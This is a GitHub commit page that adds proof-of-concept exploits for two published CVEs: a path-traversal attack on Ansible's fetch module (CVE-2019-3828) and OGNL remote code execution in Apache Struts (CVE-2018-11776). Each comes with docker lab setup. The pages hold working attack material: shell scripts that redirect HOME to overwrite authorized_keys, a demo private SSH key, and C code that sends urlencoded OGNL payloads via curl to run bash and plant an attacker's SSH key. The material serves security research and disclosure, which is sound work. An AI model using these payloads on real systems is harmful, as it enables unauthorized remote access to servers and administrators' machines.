Skip to content

Commit

Permalink
Merge pull request #2 from kevinbackhouse/SecurityExploits
Browse files Browse the repository at this point in the history
Security exploits
  • Loading branch information
Sam Lanning authored Nov 15, 2019
2 parents f8b25ce + 8b279e2 commit f08b051
Show file tree
Hide file tree
Showing 90 changed files with 4,454 additions and 0 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@
.DS_Store
*~
/.metadata/
99 changes: 99 additions & 0 deletions SecurityExploits/Ansible/fetch_CVE-2019-3828/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
# Path traversal vulnerability in Ansible fetch module (CVE-2019-3828)

This directory contains a proof-of-concept exploit for [CVE-2019-3828](https://access.redhat.com/security/cve/cve-2019-3828), a path-traversal vulnerability in Ansible's [fetch module](https://docs.ansible.com/ansible/latest/modules/fetch_module.html). The scenario for the demo is that there are two computers, named "server" and "zeuss". The former is a member of a server farm managed using Ansible. The latter machine belongs to a systems adminstrator who is responsible for managing the server farm. The system administrator's username is "bofh". Now imagine that an attacker has managed to infiltrate one of the server machines and is able to run arbitrary commands as the "bofh" user. But the attacker does not know bofh's password, so is not able to access other user accounts, or other computers, such as zeuss.

Ansible's fetch module is used to copy files from the servers back to the system adminstrator's computer. In this demo, the system administrator is going to download `.ssh/authorized_keys` from the server to check that it hasn't been tampered with. But the attacker is going to exploit a path traversal vulnerability in the fetch module and overwrite the system administrator's own `.ssh/authorized_keys`.

The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions.

## Network setup

Create a docker network bridge, to simulate a network with two separate computers.

```
docker network create -d bridge --subnet 172.16.0.0/16 ansible-demo-network
```

## Server setup

Build the docker image:

```
docker build ./server -t ansible-server
```

Start the container:

```
docker run --rm --network ansible-demo-network --ip=172.16.0.10 -h server -i -t ansible-server
```

Inside the container, start `sshd` to enable remote access from zeuss.

```
tmux # this step is optional: it enables you to open multiple terminals inside docker
sudo service ssh start # sudo password is "x" (this is the only time that sudo is used)
```

## Zeuss setup

In a new terminal, build the docker image for zeuss.

```
docker build ./zeuss -t ansible-zeuss
```

Start the container:

```
docker run --rm --network ansible-demo-network --ip=172.16.0.11 -h zeuss -i -t ansible-zeuss
```

Inside the container:

```
source ./ansible/hacking/env-setup # Add Ansible to the path
tmux # this step is optional: it enables you to open multiple terminals inside docker
sudo service ssh start # sudo password is "x"
```

## Running the exploit

First, let us see how the fetch module is *supposed* to work. On zeuss, run the following commands:

```
cd /home/bofh/config
ansible-playbook myfetch.yml
```

This copies `authorized_keys` from the server to the following locatino on `zeuss`:

```
/home/bofh/config/fetched/172.16.0.10/home/bofh/.ssh/authorized_keys
```

Note that the file has been placed safely in a subdirectory of the current directory.

Now let's enable the exploit on the server. Run the following commands on the server:

```
ssh-keygen -t ed25519 -f /home/bofh/.ssh/id_ed25519 # Create a new ssh key
cat /home/bofh/.ssh/id_ed25519.pub >> /home/bofh/.ssh/authorized_keys # Add new key to authorized_keys
cd /home/bofh/scripts
./enable_exploit.sh
```

Now go back to zeuss and run the same fetch playbook as before:

```
cd /home/bofh/config
ansible-playbook myfetch.yml
```

The `authorized_keys` file has now been overwritten. Which means that the attacker can ssh into zeuss. Run this command on the server:

```
ssh 172.16.0.11
```

The attacker has a shell on zeuss!
20 changes: 20 additions & 0 deletions SecurityExploits/Ansible/fetch_CVE-2019-3828/server/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y \
ansible git curl zip unzip psmisc \
tmux sudo emacs openssh-server net-tools \
gcc

# Create a user account named "bofh" (which will have sudo privileges).
RUN adduser bofh --disabled-password

# Grant the 'bofh' user sudo access (only so that we can start sshd).
RUN adduser bofh sudo
RUN echo "bofh:x" | chpasswd
COPY home/ /home/bofh/
RUN chown -R bofh:bofh /home/bofh

# Switch over to the 'bofh' user, since root access is no longer required
USER bofh
WORKDIR /home/bofh
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
cd /home/bofh/k/e/v/w/o/z/e/r/e
export HOME=../../../../../../../../../home/bofh
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#!/bin/bash
mkdir -p /home/bofh/k/e/v/w/o/z/e/r/e
mkdir -p /home/bofh/home
ln -s /home/bofh/ /home/bofh/home/bofh
cd /home/bofh/scripts
cp /home/bofh/scripts/bashrc /home/bofh/.bashrc
26 changes: 26 additions & 0 deletions SecurityExploits/Ansible/fetch_CVE-2019-3828/zeuss/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y \
git curl zip unzip psmisc \
tmux sudo emacs openssh-server net-tools x11-apps \
build-essential libssl-dev libffi-dev python-dev \
python-setuptools python-jinja2 python-yaml

# Create a non-root user account to run Ansible.
RUN adduser bofh --disabled-password

# Grant the 'bofh' user sudo access, so that we can start sshd.
RUN adduser bofh sudo
RUN echo "bofh:x" | chpasswd
COPY home/ /home/bofh/
RUN chown -R bofh:bofh /home/bofh

# Switch over to the 'bofh' user, since root access is no longer required
USER bofh
WORKDIR /home/bofh

# Get vulnerable version of Ansible source code.
RUN git clone https://github.com/ansible/ansible.git && \
cd ansible && \
git checkout f9f7b29a5a5543e8d1c25e8cc1f2d3040d8536b7
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEwAAAJDuQrmQ7kK5
kAAAAAtzc2gtZWQyNTUxOQAAACDjJSs5BN3mYvITbjc6dNyc/eXQbuuttVfB7LSCSYIrEw
AAAEATobJL9MLSQNtHem7bzn8zp7dLWqdqP5VQo3Ma61L9+eMlKzkE3eZi8hNuNzp03Jz9
5dBu6621V8HstIJJgisTAAAACmJvZmhAemV1c3MBAgM=
-----END OPENSSH PRIVATE KEY-----
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMlKzkE3eZi8hNuNzp03Jz95dBu6621V8HstIJJgisT bofh@zeuss
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[defaults]
inventory = inventory.d
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[servers]
172.16.0.10
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
---
- hosts: servers
tasks:
- name: Fetch authorized_keys
fetch:
src: ~/.ssh/authorized_keys
dest: fetched
73 changes: 73 additions & 0 deletions SecurityExploits/Apache/Struts/CVE-2018-11776/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
# Remote code execution in Apache Struts (CVE-2018-11776)

This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [Apache Struts](https://struts.apache.org/). The vulnerability was fixed in versions 2.3.35 and 2.5.17.

To demonstrate the PoC in a safe environment, we will use two docker containers connected by a docker network bridge to simulate two separate computers: the first is the Struts server and the second is the attacker's computer. The Struts server uses Struts version 2.5.16, which contains the vulnerability.

We have tried to make the `Dockerfile`'s for the server and attacker as simple as possible, to make it clear that we have used vanilla [Ubuntu 18.04](http://releases.ubuntu.com/18.04/) with no unusual packages installed.

We have created two versions of the PoC. The first version enables the attacker to get a shell on the server. The PoC is a little simplistic because it assumes that the server has its ssh port 22 exposed to the public internet. A more realistic attack would probably involve getting the server to connect out to a webserver controlled by the attacker. It would be straightforward to modify the PoC to do that. The second version of the PoC pops a calculator.

## Network setup

Create a docker network bridge, to simulate a network with two separate computers.

```
docker network create -d bridge --subnet 172.16.0.0/16 struts-demo-network
```

## Struts server setup

Build the docker image:

```
cd struts-server
docker build . -t struts-server --build-arg UID=`id -u`
```

Start the container:

```
docker run --rm --network struts-demo-network --ip=172.16.0.10 -h struts-server --publish 8080:8080 -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -i -t struts-server
```

Note: the `--publish`, `-e`, and `-v` command line arguments are optional. The `--publish` argument exposes port 8080 so that we can open the Struts showcase app in a web-browser. The `-e` and `-v` arguments enable the container to access X11, which is necessary for popping a calculator.

Inside the container, start Struts and sshd. The reason for starting sshd is that we are going to use it to get a shell on the Struts server. We think it is realistic for sshd to be running because it is very widely used by system administrators for remote access.

```
./apache-tomcat-9.0.12/bin/catalina.sh start
sudo service ssh start # sudo password is "x"
```

At this point, you can check that Struts is running by visiting [http://127.0.0.1:8080/struts2-showcase](http://127.0.0.1:8080/struts2-showcase) in your browser. (We exposed port 8080 on the docker container.)

## Attacker setup

Build the docker image:

```
cd struts-attacker
docker build . -t struts-attacker
```

Start the container:

```
docker run --rm --network struts-demo-network --ip=172.16.0.11 -h struts-attacker -i -t struts-attacker
```

Inside the container, use `copykey` to copy the attacker's ssh key into the server's `authorized_keys` file. Then use `ssh` to login.

```
./src/copykey http://172.16.0.10:8080/struts2-showcase
ssh [email protected]
```

We have a shell!

Alternatively, you can start a calculator like this:

```
./src/startcalc http://172.16.0.10:8080/struts2-showcase
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y curl tmux emacs net-tools gcc ssh build-essential

# Create user account for the attacker.
RUN adduser attacker --disabled-password

# Copy the exploit PoC into the attacker's home directory.
COPY src /home/attacker/src
RUN chown -R attacker:attacker /home/attacker/src

# Switch over to the 'attacker' user, since root access is no longer required
USER attacker
WORKDIR /home/attacker
RUN cd src && make

# Create an ssh key for the attacker.
RUN ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -q -P ""
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
all: copykey startcalc

clean:
rm -f *.o copykey startcalc

copykey: copykey.o utils.o
gcc -Wall copykey.o utils.o -o copykey

startcalc: startcalc.o utils.o
gcc -Wall startcalc.o utils.o -o startcalc

copykey.o: copykey.c utils.h
gcc -c copykey.c

startcalc.o: startcalc.c utils.h
gcc -c startcalc.c

utils.o: utils.c utils.h
gcc -c utils.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include "utils.h"

int main(int argc, char* argv[]) {
if (argc < 2) {
printf("usage example: http://172.16.0.10:8080/struts2-showcase\n");
return 1;
}

const char* url = argv[1];

// Scratch buffers for building the curl command line.
char scratch1[2048];
char scratch2[2048];
char scratch3[2048];
char cmd[4096];

// First OGNL payload, which we need to urlencode and send to the Struts
// server with curl.
const char* url1 =
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
"(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl."
"OgnlUtil@class)).(#ognlUtil.setExcludedClasses(''))."
"(#ognlUtil.setExcludedPackageNames(''))}";

// urlencode the first payload and send it to the Struts server.
urlencode(scratch1, sizeof(scratch1), url1);
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1);
system(cmd);

// Second OGNL payload. We need to paste our ssh key into the middle of
// this string and urlencode it.
const char* url2A =
"${(#_=#attr['struts.valueStack']).(#context=#_.getContext())."
"(#[email protected]@DEFAULT_MEMBER_ACCESS).(#context."
"setMemberAccess(#dm)).(#[email protected]@separator)."
"(#p=new java.lang.ProcessBuilder({'bash','-c','echo -n \"";
const char* url2B =
"\">>\"$HOME\"/.ssh/authorized_keys'})).(#p.start())}";

// Load our ssh key.
const int fd = open(".ssh/id_ed25519.pub", O_RDONLY);
if (fd < 0) {
printf("Could not open id_ed25519.pub\n");
return 1;
}
const int r = read(fd, scratch1, sizeof(scratch1));
if (r < 0) {
printf("Could not read id_ed25519.pub\n");
return 1;
}
scratch1[r] = '\0';

// Escape any slash characters in the ssh key, to stop Tomcat from
// intercepting them.
escape_forward_slash(scratch2, sizeof(scratch2), scratch1);

// Escape the slash characters in url2B.
escape_forward_slash(scratch3, sizeof(scratch3), url2B);

// urlencode the second payload and send it to the Struts server.
snprintf(scratch1, sizeof(scratch1), "%s%s%s", url2A, scratch2, scratch3);
urlencode(scratch2, sizeof(scratch2), scratch1);
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2);
system(cmd);

return 0;
}
Loading

0 comments on commit f08b051

Please sign in to comment.